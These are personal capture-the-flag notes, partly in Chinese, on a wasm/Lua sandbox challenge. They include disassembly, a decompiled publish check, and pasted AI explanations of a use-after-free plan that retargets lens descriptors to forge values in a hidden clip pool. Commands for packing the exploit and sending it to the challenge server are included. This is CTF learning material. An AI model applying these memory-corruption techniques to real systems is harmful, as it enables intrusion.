找对关键函数的引用.

0434a2 func[442]:
 0434a3: 04 7f                      | local[1..4] type=i32
 0434a5: 01 7e                      | local[5] type=i64
 0434a7: 23 00                      | global.get 0
 0434a9: 41 a0 01                   | i32.const 160
 0434ac: 6b                         | i32.sub
 0434ad: 22 01                      | local.tee 1
 0434af: 24 00                      | global.set 0
 0434b1: 20 00                      | local.get 0
 0434b3: 41 01                      | i32.const 1
 0434b5: 41 e0 ef 00                | i32.const 14304
 0434b9: 10 85 01                   | call 133
 0434bc: 21 03                      | local.set 3
 0434be: 02 40                      | block
 0434c0: 02 40                      |   block
 0434c2: 02 40                      |     block
 0434c4: 41 d4 b2 08                |       i32.const 137556
 0434c8: 2d 00 00                   |       i32.load8_u 0 0
 0434cb: 0d 00                      |       br_if 0
 0434cd: 20 03                      |       local.get 3
 0434cf: 28 02 08                   |       i32.load 2 8
 0434d2: 45                         |       i32.eqz
 0434d3: 0d 00                      |       br_if 0
 0434d5: 20 03                      |       local.get 3
 0434d7: 28 02 00                   |       i32.load 2 0
 0434da: 22 02                      |       local.tee 2
 0434dc: 45                         |       i32.eqz
 0434dd: 0d 00                      |       br_if 0
 0434df: 20 03                      |       local.get 3
 0434e1: 29 03 10                   |       i64.load 3 16
 0434e4: 41 c0 ec 01                |       i32.const 30272
 0434e8: 29 03 00                   |       i64.load 3 0
 0434eb: 20 03                      |       local.get 3
 0434ed: ad                         |       i64.extend_i32_u
 0434ee: 20 02                      |       local.get 2
 0434f0: 35 02 80 02                |       i64.load32_u 2 256
 0434f4: 20 02                      |       local.get 2
 0434f6: 41 a0 ee 07                |       i32.const 128800
 0434fa: 6b                         |       i32.sub
 0434fb: 41 90 02                   |       i32.const 272
 0434fe: 6d                         |       i32.div_s
 0434ff: ad                         |       i64.extend_i32_u
 043500: 42 20                      |       i64.const 32
 043502: 86                         |       i64.shl
 043503: 84                         |       i64.or
 043504: 85                         |       i64.xor
 043505: 85                         |       i64.xor
 043506: 20 03                      |       local.get 3
 043508: 28 02 04                   |       i32.load 2 4
 04350b: 22 04                      |       local.tee 4
 04350d: ad                         |       i64.extend_i32_u
 04350e: 42 01                      |       i64.const 1
 043510: 86                         |       i64.shl
 043511: 85                         |       i64.xor
 043512: 22 05                      |       local.tee 5
 043514: 42 1e                      |       i64.const 30
 043516: 88                         |       i64.shr_u
 043517: 20 05                      |       local.get 5
 043519: 85                         |       i64.xor
 04351a: 42 b9 cb 93 e7 d1 ed 91 ac |       i64.const 13787848793156543929
 043523: bf 7f                      |
 043525: 7e                         |       i64.mul
 043526: 22 05                      |       local.tee 5
 043528: 42 1b                      |       i64.const 27
 04352a: 88                         |       i64.shr_u
 04352b: 20 05                      |       local.get 5
 04352d: 85                         |       i64.xor
 04352e: 42 eb a3 c4 99 b1 b7 92 e8 |       i64.const 10723151780598845931
 043537: 94 7f                      |
 043539: 7e                         |       i64.mul
 04353a: 22 05                      |       local.tee 5
 04353c: 42 1f                      |       i64.const 31
 04353e: 88                         |       i64.shr_u
 04353f: 20 05                      |       local.get 5
 043541: 85                         |       i64.xor
 043542: 52                         |       i64.ne
 043543: 0d 00                      |       br_if 0
 043545: 41 c8 ec 01                |       i32.const 30280
 043549: 28 02 00                   |       i32.load 2 0
 04354c: 22 03                      |       local.tee 3
 04354e: 45                         |       i32.eqz
 04354f: 0d 00                      |       br_if 0
 043551: 20 03                      |       local.get 3
 043553: 2f 01 8a 02                |       i32.load16_u 1 266
 043557: 45                         |       i32.eqz
 043558: 0d 00                      |       br_if 0
 04355a: 20 03                      |       local.get 3
 04355c: 28 02 84 02                |       i32.load 2 260
 043560: 41 a3 8f c7 f2 79          |       i32.const 2656159651
 043566: 47                         |       i32.ne
 043567: 0d 00                      |       br_if 0
 043569: 41 d4 b2 08                |       i32.const 137556
 04356d: 41 01                      |       i32.const 1
 04356f: 3a 00 00                   |       i32.store8 0 0
 043572: 20 02                      |       local.get 2
 043574: 28 02 84 02                |       i32.load 2 260
 043578: 41 f2 cd e2 8e 03          |       i32.const 836282098
 04357e: 47                         |       i32.ne
 04357f: 0d 01                      |       br_if 1
 043581: 20 02                      |       local.get 2
 043583: 29 03 60                   |       i64.load 3 96
 043586: 42 ef 96 d0 96 e7 93 f2 98 |       i64.const 6499196320129223535
 04358f: da 00                      |
 043591: 52                         |       i64.ne
 043592: 0d 01                      |       br_if 1
 043594: 20 02                      |       local.get 2
 043596: 28 02 68                   |       i32.load 2 104
 043599: 41 c1 cb b8 ba 7b          |       i32.const 3075352001
 04359f: 47                         |       i32.ne
 0435a0: 0d 01                      |       br_if 1
 0435a2: 20 02                      |       local.get 2
 0435a4: 28 02 6c                   |       i32.load 2 108
 0435a7: 20 04                      |       local.get 4
 0435a9: 47                         |       i32.ne
 0435aa: 0d 01                      |       br_if 1
 0435ac: 20 01                      |       local.get 1
 0435ae: 41 40                      |       i32.const 4294967232
 0435b0: 6b                         |       i32.sub
 0435b1: 41 00                      |       i32.const 0
 0435b3: 41 d4 00                   |       i32.const 84
 0435b6: 10 14                      |       call 20
 0435b8: 1a                         |       drop
 0435b9: 20 01                      |       local.get 1
 0435bb: 41 98 b8 01                |       i32.const 23576
 0435bf: 29 03 00                   |       i64.load 3 0
 0435c2: 37 03 38                   |       i64.store 3 56
 0435c5: 20 01                      |       local.get 1
 0435c7: 41 90 b8 01                |       i32.const 23568
 0435cb: 29 03 00                   |       i64.load 3 0
 0435ce: 37 03 30                   |       i64.store 3 48
 0435d1: 20 01                      |       local.get 1
 0435d3: 41 88 b8 01                |       i32.const 23560
 0435d7: 29 03 00                   |       i64.load 3 0
 0435da: 37 03 28                   |       i64.store 3 40
 0435dd: 20 01                      |       local.get 1
 0435df: 41 80 b8 01                |       i32.const 23552
 0435e3: 29 03 00                   |       i64.load 3 0
 0435e6: 37 03 20                   |       i64.store 3 32
 0435e9: 20 01                      |       local.get 1
 0435eb: 41 20                      |       i32.const 32
 0435ed: 36 02 94 01                |       i32.store 2 148
 0435f1: 20 01                      |       local.get 1
 0435f3: 41 c7 cc a3 d8 06          |       i32.const 1795745351
 0435f9: 36 02 20                   |       i32.store 2 32
 0435fc: 20 01                      |       local.get 1
 0435fe: 41 20                      |       i32.const 32
 043600: 6a                         |       i32.add
 043601: 41 90 bc 01                |       i32.const 24080
 043605: 41 16                      |       i32.const 22
 043607: 10 ab 03                   |       call 427
 04360a: 0d 02                      |       br_if 2
 04360c: 20 01                      |       local.get 1
 04360e: 41 20                      |       i32.const 32
 043610: 6a                         |       i32.add
 043611: 20 03                      |       local.get 3
 043613: 41 20                      |       i32.const 32
 043615: 10 ab 03                   |       call 427
 043618: 0d 02                      |       br_if 2
 04361a: 20 01                      |       local.get 1
 04361c: 41 20                      |       i32.const 32
 04361e: 6a                         |       i32.add
 04361f: 20 02                      |       local.get 2
 043621: 41 20                      |       i32.const 32
 043623: 10 ab 03                   |       call 427
 043626: 0d 02                      |       br_if 2
 043628: 20 01                      |       local.get 1
 04362a: 41 20                      |       i32.const 32
 04362c: 6a                         |       i32.add
 04362d: 20 02                      |       local.get 2
 04362f: 41 20                      |       i32.const 32
 043631: 6a                         |       i32.add
 043632: 41 20                      |       i32.const 32
 043634: 10 ab 03                   |       call 427
 043637: 0d 02                      |       br_if 2
 043639: 20 01                      |       local.get 1
 04363b: 41 20                      |       i32.const 32
 04363d: 6a                         |       i32.add
 04363e: 41 a0 b8 01                |       i32.const 23584
 043642: 41 20                      |       i32.const 32
 043644: 10 ab 03                   |       call 427
 043647: 0d 02                      |       br_if 2
 043649: 20 01                      |       local.get 1
 04364b: 20 02                      |       local.get 2
 04364d: 29 03 60                   |       i64.load 3 96
 043650: 37 03 98 01                |       i64.store 3 152
 043654: 20 01                      |       local.get 1
 043656: 41 20                      |       i32.const 32
 043658: 6a                         |       i32.add
 043659: 20 01                      |       local.get 1
 04365b: 41 98 01                   |       i32.const 152
 04365e: 6a                         |       i32.add
 04365f: 41 08                      |       i32.const 8
 043661: 10 ab 03                   |       call 427
 043664: 0d 02                      |       br_if 2
 043666: 20 01                      |       local.get 1
 043668: 20 02                      |       local.get 2
 04366a: 28 02 68                   |       i32.load 2 104
 04366d: 36 02 98 01                |       i32.store 2 152
 043671: 20 01                      |       local.get 1
 043673: 41 20                      |       i32.const 32
 043675: 6a                         |       i32.add
 043676: 20 01                      |       local.get 1
 043678: 41 98 01                   |       i32.const 152
 04367b: 6a                         |       i32.add
 04367c: 41 04                      |       i32.const 4
 04367e: 10 ab 03                   |       call 427
 043681: 0d 02                      |       br_if 2
 043683: 20 01                      |       local.get 1
 043685: 20 02                      |       local.get 2
 043687: 28 02 6c                   |       i32.load 2 108
 04368a: 36 02 98 01                |       i32.store 2 152
 04368e: 20 01                      |       local.get 1
 043690: 41 20                      |       i32.const 32
 043692: 6a                         |       i32.add
 043693: 20 01                      |       local.get 1
 043695: 41 98 01                   |       i32.const 152
 043698: 6a                         |       i32.add
 043699: 41 04                      |       i32.const 4
 04369b: 10 ab 03                   |       call 427
 04369e: 0d 02                      |       br_if 2
 0436a0: 20 01                      |       local.get 1
 0436a2: 41 20                      |       i32.const 32
 0436a4: 6a                         |       i32.add
 0436a5: 20 01                      |       local.get 1
 0436a7: 10 ac 03                   |       call 428
 0436aa: 0d 02                      |       br_if 2
 0436ac: 20 01                      |       local.get 1
 0436ae: 20 02                      |       local.get 2
 0436b0: 41 40                      |       i32.const 4294967232
 0436b2: 6b                         |       i32.sub
 0436b3: 41 20                      |       i32.const 32
 0436b5: 10 8a 02                   |       call 266
 0436b8: 0d 02                      |       br_if 2
 0436ba: 20 02                      |       local.get 2
 0436bc: 41 e3 f4 c5 84 7d          |       i32.const 3499194979
 0436c2: 36 02 68                   |       i32.store 2 104
 0436c5: 20 03                      |       local.get 3
 0436c7: 41 20                      |       i32.const 32
 0436c9: 6a                         |       i32.add
 0436ca: 41 20                      |       i32.const 32
 0436cc: 10 04                      |       call 4 <env.sparxie_redeem>
 0436ce: 20 00                      |       local.get 0
 0436d0: 41 ef 8d 01                |       i32.const 18159
 0436d4: 10 4d                      |       call 77
 0436d6: 20 01                      |       local.get 1
 0436d8: 41 a0 01                   |       i32.const 160
 0436db: 6a                         |       i32.add
 0436dc: 24 00                      |       global.set 0
 0436de: 41 01                      |       i32.const 1
 0436e0: 0f                         |       return
 0436e1: 0b                         |     end
 0436e2: 20 00                      |     local.get 0
 0436e4: 41 eb 90 01                |     i32.const 18539
 0436e8: 41 00                      |     i32.const 0
 0436ea: 10 7b                      |     call 123
 0436ec: 00                         |     unreachable
 0436ed: 0b                         |   end
 0436ee: 20 00                      |   local.get 0
 0436f0: 41 eb 90 01                |   i32.const 18539
 0436f4: 41 00                      |   i32.const 0
 0436f6: 10 7b                      |   call 123
 0436f8: 00                         |   unreachable
 0436f9: 0b                         | end
 0436fa: 20 00                      | local.get 0
 0436fc: 41 eb 90 01                | i32.const 18539
 043700: 41 00                      | i32.const 0
 043702: 10 7b                      | call 123
 043704: 00                         | unreachable
 043705: 0b                         | end

data segment

1
(data (;129;) (i32.const 13769) "hello\00")

means: memory[13769..13774] = “hello\0”

Then find the reference of that data: grep idx: 13769 = 0x35c9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
• publish is referenced as a Lua method table entry, not by a direct code call.

  Exact chain in sparxicle.wat:

  1. The string itself is in the huge string blob:

  sparxicle.wat:145407

  That blob starts at linear memory 13769. The string "publish" starts at address:

  0x400c == 16396

  2. The actual reference is this small data segment:

  sparxicle.wat:145435

  (data (;157;) (i32.const 23920) "\0c@\00\00\8b")

  Decode it as little-endian luaL_Reg-style data:

  // at memory 23920 / 0x5d70
  {
    .name = (char *)0x400c,   // "publish"
    .func = 0x8b              // indirect function table index 139
  }

  The missing \00\00\00 after \8b are implicit because wasm memory starts zeroed.

  3. That method table is registered for sparxie.draft here:

  sparxicle.wat:125639

  i32.const 14304   ;; "sparxie.draft"
  i32.const 23920   ;; methods table: publish -> 0x8b
  i32.const 23936   ;; __gc table
  i32.const 14318   ;; "Sparxie Draft"
  call 431

  So func 425 is the hidden luaopen_sparxie registration function, and func 431 is the helper that builds/registers the metatable.

  4. Function-table index 0x8b maps to wasm func (;442;) via the elem table:

  sparxicle.wat:145277

  The actual publish implementation starts here:

  sparxicle.wat:133583

  And it reaches the flag path by calling imported env.sparxie_redeem here:

  sparxicle.wat:133819

  call 4 ;; env.sparxie_redeem

  So the short answer: publish is referenced by data segment 157 at memory 23920; that table is passed into call 431 when registering the sparxie.draft metatable;
  its function pointer 0x8b resolves to func 442.

check

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
  int draft_publish(lua_State *L) {
      Draft *d = checkudata(L, 1, "sparxie.draft");

      check(global_publish_used == 0);
      check(d->active != 0);
      check(d->clip != NULL);
      check(d->cookie == mix64(secret, d, d->clip, d->serial));

      Clip *backstage = global_backstage_clip;
      check(backstage != NULL);
      check(backstage->in_use != 0);
      check(backstage->state == 0x9e51c7a3);

      global_publish_used = 1;   // after this, failed checks still burn the attempt

      Clip *clip = d->clip;
      check(clip->state    == 0x31d8a6f2);
      check(clip->campaign == 0x5a31c89e72d40b6f);
      check(clip->tag      == 0xb74e25c1);
      check(clip->serial   == d->serial);

      proof = blake2s_32(
          "SPARXIE::ENCORE::PROOF",
          backstage[0x00:0x20],
          clip[0x00:0x20],
          clip[0x20:0x40],
          allowed_seal,
          clip->campaign,
          clip->tag,
          clip->serial
      );

      check(proof == clip[0x40:0x60]);

      clip->tag = 0xd0917a63;
      sparxie_redeem(backstage + 0x20, 32);
  }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
  Draft Userdata

  Created by:

  d = sparxie.draft()

  Native layout:

  Draft userdata
  +0x00  clip pointer     already valid
  +0x04  serial           already valid, copied from clip+0x6c
  +0x08  active flag      already valid, set to 1
  +0x0c  padding/unused
  +0x10  cookie u64       already valid, computed with secret

  publish() checks these first:

  d is sparxie.draft       already valid if made by sparxie.draft()
  global_publish_used==0   valid before first publish attempt
  d->active != 0           already valid
  d->clip != NULL          already valid
  d->cookie valid          already valid

  Do not try to modify these. Lua cannot directly access them anyway, and changing them would break the cookie check.

  Draft Internal Clip

  This is d->clip, not the public sparxie.clip.

  Fresh sparxie.draft() initializes it roughly like this:

  Draft internal clip
  +0x00..0x1f  random proof input A     already okay, but need to know for proof
  +0x20..0x3f  random proof input B     already okay, but need to know for proof
  +0x40..0x5f  proof digest             NOT okay, starts zero/invalid
  +0x60        campaign u64             NOT okay, starts 0
  +0x68        tag u32                  NOT okay, starts 0x6a31d90f
  +0x6c        serial u32               already valid, matches Draft+0x04
  +0x70..0xff  private/random data      irrelevant to publish
  +0x100       cookie material          already valid
  +0x104       state                    already valid, 0x31d8a6f2
  +0x108       freelist/next            irrelevant while allocated
  +0x10a       in-use flag              already valid while allocated

  publish() needs:

  clip+0x104 == 0x31d8a6f2              already matched
  clip+0x60  == 0x5a31c89e72d40b6f      need change
  clip+0x68  == 0xb74e25c1              need change
  clip+0x6c  == d->serial               already matched
  clip+0x40..0x5f == computed proof     need change

  Backstage Clip

  Global pointer at memory 30280.

  backstage clip
  +0x00..0x1f  random proof input       need leak/read
  +0x20..0x3f  redeem witness           used by sparxie_redeem()
  +0x104       state = 0x9e51c7a3       already matched
  +0x10a       in-use flag              already matched

  You do not need to change backstage for the publish checks. But to compute the digest yourself, you need backstage+0x00..0x1f.

  What You Need To Achieve

  Keep the fresh draft intact, then somehow patch only this:

  d->clip + 0x40..0x5f = blake2s proof
  d->clip + 0x60       = 0x5a31c89e72d40b6f
  d->clip + 0x68       = 0xb74e25c1

  To compute that proof, you also need to know:

  backstage+0x00..0x1f
  d->clip+0x00..0x3f
  d->clip+0x6c

  d->clip+0x6c equals Draft+0x04, but Lua cannot directly read either. So practically you need some read primitive into the internal clip pool.

  How Can We Change Them?

  Not directly through d.

  This will not work:

  d.campaign = ...
  d.clip = ...
  d.cookie = ...

  d is protected userdata and exposes only publish.

  Likely route:

  permit = sparxie.review(relay_pass)
  studio = sparxie.studio()
  c = studio:clip(...)
  c:write(...)
  tl = sparxie.timeline({c})
  studio:render(tl, permit)

  d = sparxie.draft()
  q = sparxie.queue(d)
  lens = q:lens()

  -- investigate:
  lens:read(...)
  lens:write(...)

  The queue/lens path is the likely place where your Lua input can reach hidden moderation data. If lens:read/write can be aimed at the draft’s internal clip data,
  then the exploit shape is:

  1. leak backstage[0:0x20]
  2. leak draft_clip[0:0x40] and serial
  3. calculate proof
  4. write campaign/tag/proof into draft_clip
  5. call d:publish()

  So: most checks are already satisfied by a normal sparxie.draft(). The only real targets are campaign, tag, and proof in the hidden draft clip.

write

can we directly modify the inner clip?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
Short answer: not directly. Draft is protected userdata, and its hidden d->clip is not exposed as a normal sparxie.clip. The only public method on Draft is
  publish().

  The inner draft clip fields you care about are here:

  // hidden internal Clip
  clip + 0x60 : campaign u64
  clip + 0x68 : tag u32
  clip + 0x6c : serial u32
  clip + 0x40 : expected proof[32]

  For publish() you need:

  clip->campaign == 0x5a31c89e72d40b6f
  clip->tag      == 0xb74e25c1
  clip->serial   == d->serial
  clip[0x40:0x60] == computed proof

  A new draft starts with:

  campaign = 0
  tag      = 0x6a31d90f
  serial   = random odd u32

  So campaign, tag, and proof must be changed somehow.

  The normal APIs do not give you that write:

  - draft:publish() only checks.
  - sparxie.clip:read/write() works on studio buffer clips, not the hidden draft clip.
  - queue(draft) validates the draft cookie but does not appear to mutate d->clip.
  - lens:read/write() normally operates on the 16KB queue heap buffer created inside queue(draft), not on the draft clip.

  So:

  local d = sparxie.draft()
  -- there is no d.clip
  -- there is no d.campaign
  -- d[anything] is not useful

  And this will not reach the hidden clip:

  local q = sparxie.queue(d)
  local l = q:lens()
  l:write(0x60, "...") -- writes queue buffer + 0x60, not d->clip + 0x60

  To modify the inner clip, you need a memory-corruption / object-confusion path first. The rough target is:

  make some exposed read/write primitive point at d->clip

  If you can make lens->base == d->clip, then yes, lens becomes useful:

  lens:write(0x60, "\x6f\x0b\xd4\x72\x9e\xc8\x31\x5a") -- campaign LE
  lens:write(0x68, "\xc1\x25\x4e\xb7")                 -- tag LE
  lens:write(0x40, proof32)                             -- proof

  But without redirecting the lens base pointer, lens:write() cannot write the draft clip.

  The likely places to investigate are therefore:

  1. Can you corrupt the lens descriptor before lens:read/write() resolves it?
  2. Can you make the queue buffer overlap with internal clip storage?
  3. Can GC/free-list behavior cause reuse so a controllable object occupies memory that later gets interpreted as a lens descriptor?
  4. Can studio, timeline, or render update backing pointers in a way that affects queue/lens objects?

  The key point: modifying campaign/tag is not an intended direct Lua operation. You need to turn one of the exposed buffer APIs, most likely lens:read/write, into
  a targeted write against the hidden internal Clip.

Real bypass (引导:是否有方法能够修改已有的clip对象指针,使其指向一个inner地址?(假设要操作的地址是可以预测的))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
• 1. Lua VM flaw?
     I do not see a Lua VM escape path here. The useful bug is more likely in the native sparxie bindings, not Lua itself.

  The sandbox opens only limited Lua 5.4 libs in source/src/main.c:18, removes load, loadfile, dofile, print, tostring, and loads your cartridge as text only with:

  luaL_loadbufferx(state, chunk, chunk_len, "@vanishing-encore", "t");

  So you cannot load Lua bytecode, call wasm functions by address, create lightuserdata pointers, or access wasm memory directly.

  2. Can function offsets / wasm offsets bypass protection?
     No, not directly.

  Knowing that publish is wasm table index 0x8b, or knowing struct offsets, does not let Lua call arbitrary wasm functions. From Lua, you only get normal Lua values
  and registered C closures. For example:

  local d = sparxie.draft()
  d.publish(d)

  works because publish is registered as a method. But this still reaches:

  Draft *d = luaL_checkudata(L, 1, "sparxie.draft");

  So calling a method with the wrong object fails. You cannot do:

  clip_write(fake_pointer, ...)

  because Lua cannot manufacture the required userdata or pointer.

  3. Can we make a normal clip point to target memory?
     Normally, no. studio:clip(offset, len) computes its pointer from a studio buffer:

  clip->base = studio_buffer + offset;
  clip->len  = len;

  You control only offset and len, bounded to the 4096-byte studio buffer. You do not directly control the absolute pointer.

  But there is a much more interesting bug.

  Likely Useful Flaw
  studio:clip() creates a public clip pointing into a studio pool slot. It increments a refcount-like field around sparxicle.wat:134729.

  clip.__gc later decrements that refcount at sparxicle.wat:133847.

  But studio.__gc frees the studio slot without checking that clips still reference it, around sparxicle.wat:134365.

  So you can likely do:

  local s = sparxie.studio()
  local stale = s:clip(0, 4096)

  s = nil
  collectgarbage("collect")
  collectgarbage("collect")

  -- stale still exists, but its backing studio slot was freed

  Now stale is a use-after-free view over a freed 4096-byte studio/queue pool slot.

  queue(draft) allocates from the same 4104-byte pool at sparxicle.wat:132369. If it reuses the freed slot, then:

  local q = sparxie.queue(d)

  makes stale:read() / stale:write() operate on the queue metadata.

  That is very likely the path to modify the lens descriptor.

  How This Reaches Draft Data
  A lens descriptor looks approximately like:

  struct LensDesc {
      uint32_t key;
      uint32_t id;
      uint32_t base;
      uint32_t len; // must be 0x4000
  };

  lens:read/write validates:

  desc->key == lens->key
  desc->id  == lens->id
  desc->len == 0x4000
  desc->base is 8-byte aligned
  0x10000 <= desc->base <= 0x07ffc000

  Then it caches:

  lens->base = desc->base;

  So with the stale clip, patch all 63 descriptors before calling q:lens():

  for i = 0, 62 do
    local desc = i * 64 + 8
    stale:write(desc + 8,  p32(0x1f720)) -- internal clip pool base
    stale:write(desc + 12, p32(0x4000))
  end

  local lens = q:lens()

  0x1f720 is 128800, the internal hidden clip pool base. It is aligned and passes the lens pointer range check.

  Then lens gives you read/write over the internal clip pool, including backstage and draft clips.

  Useful Offsets
  Internal clip pool:

  pool base     = 0x1f720
  slot size     = 0x110
  backstage     = pool + 0x000
  first draft   = pool + 0x110   -- if only one draft was allocated

  For first draft slot:

  draft clip campaign = 0x110 + 0x60 = 0x170
  draft clip tag      = 0x110 + 0x68 = 0x178
  draft clip serial   = 0x110 + 0x6c = 0x17c
  draft clip proof    = 0x110 + 0x40 = 0x150

  So after retargeting the lens:

  lens:write(0x170, "\x6f\x0b\xd4\x72\x9e\xc8\x31\x5a") -- campaign
  lens:write(0x178, "\xc1\x25\x4e\xb7")                 -- tag
  lens:write(0x150, proof32)                             -- computed proof

  And you can read the random inputs needed for the proof:

  local backstage_a = lens:read(0x000, 0x20)
  local draft_a     = lens:read(0x110, 0x20)
  local draft_b     = lens:read(0x130, 0x20)
  local serial      = lens:read(0x17c, 4)

  So the answer is:

  - Lua VM escape: probably no.
  - Direct wasm offset/function call trick: no.
  - Predict addresses: yes, wasm linear memory addresses are predictable.
  - Directly make a normal clip point there: no.
  - Use stale clip UAF to corrupt queue/lens metadata, then point lens at internal clip pool: yes, this looks like the promising path.

simulate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
• 1. To launch the Docker service:

  cd /home/woc/ctf/uiuctf/sparxie

  # If needed, enter docker group shell first:
  newgrp docker

  docker build -t sparxie .
  docker run --rm -p 1337:1337 --name sparxie sparxie

  This starts the real challenge service on 127.0.0.1:1337. The entrypoint runs:

  socat TCP-LISTEN:1337 ... kctf_pow nsjail ... node /home/user/sparxicle.js

  2. To pack your Lua and send it as input:

  python3 tools/pack.py exploit.lua /tmp/exploit.spx

  For quick local testing without Docker:

  node sparxicle.js < /tmp/exploit.spx

  For the Docker network service:

  nc 127.0.0.1 1337 < /tmp/exploit.spx

  If the service asks for kCTF proof-of-work, plain redirection may not be enough. For easier local Docker testing without the network wrapper/PoW, build the first
  stage and run Node directly:

  docker build --target chroot -t sparxie-local .
  docker run --rm -i sparxie-local node /home/user/sparxicle.js < /tmp/exploit.spx

  That uses the same sparxicle.js/.wasm and local /flag.txt, but skips socat, kctf_pow, and nsjail.

UAF 再探

AI给出的方法失效,原因是还有一个uservalue引用.

能否效仿heap中使用double free的方法,比如clip A -> studio, clip B -> studio, 然后对clip B 使用两次free? 这样studio会被回收,但是clip A仍然存活.

关键是找到clip_gc中的检查并绕过.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
For the 0x1008 studio/queue pool slot, the tail layout is approximately:

  struct StudioPoolSlot {
      uint8_t data[0x1000];  // +0x0000

      uint16_t generation;   // +0x1000
      uint16_t kind;         // +0x1002
      uint16_t next_free;    // +0x1004
      uint16_t in_use;       // +0x1006
  };

  Related code:

  - Allocation in sparxie.studio() starts at sparxicle.wat:131503
  - Allocation in sparxie.queue() starts around sparxicle.wat:132295
  - Free in studio.__gc starts at sparxicle.wat:134359

  Allocator pseudo code:

  uint16_t studio_free_head; // global 128784

  Slot *alloc_slot(uint16_t kind) {
      uint16_t idx = studio_free_head;
      if (idx == 0xffff)
          error("pool full");

      Slot *slot = &pool[idx];

      studio_free_head = slot->next_free;

      slot->kind = kind;
      slot->next_free = 0xffff;
      slot->in_use = 1;
      slot->generation++;

      random_fill(slot->data, 0x1000);
      return slot;
  }

  Free path:

  void studio_gc(StudioUD *s) {
      Slot *slot = s->slot;

      if (slot != NULL && slot->in_use != 0) {
          slot->kind = 0;
          slot->in_use = 0;

          slot->next_free = studio_free_head;
          studio_free_head = slot_index(slot);
      }

      s->slot = NULL;
      s->refs = 0;
  }

能否尝试让free_list形成一个环?

misc note

add to “docker” group to prevent using sudo.

如果有wasm,可以转为wat后进行插桩,重新编译成wasm.

ssl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
› but why the direct ncat didn't show the flag? is it just the problem of ncat?


• It is mostly an interaction/timing issue with ncat + TLS + the remote wrapper, not the exploit.

  What happened:

  ncat --ssl host 1337 < /tmp/exploit.spx

  sends the file immediately as soon as the TLS connection is established. But the remote command chain is:

  TLS/socket wrapper
   -> kctf_pow
   -> nsjail
   -> node sparxicle.js

  Even with PoW disabled, there is still wrapper startup before node is ready to read the cartridge. With plain stdin redirection, the payload can be sent and EOF
  delivered before the final process is actually reading it, or in a way the wrapper does not forward after setup.

  That is why the output looked exactly like empty input:

  [catalogue] one Spotlight Pass remains
  [studio] upload one SPX2 creator cartridge:

  The program reached the prompt, then saw no usable cartridge bytes.

  The Python client works because it does this sequence:

  1. connect TLS
  2. read until "creator cartridge:"
  3. wait briefly
  4. send SPX2 bytes
  5. keep TLS open and read response

  So it synchronizes with the actual challenge prompt.

  You can think of it as: direct ncat < file is “fire all bytes immediately,” while the service expects “wait until the app is ready, then send bytes.”

  It is not that ncat cannot send binary. It can. The problem is using it with simple shell redirection against an interactive wrapped TLS service.

  A shell workaround may work:

  { sleep 1; cat /tmp/exploit.spx; sleep 2; } | ncat --ssl sparxie-vanishing-encore.chal.uiuc.tf 1337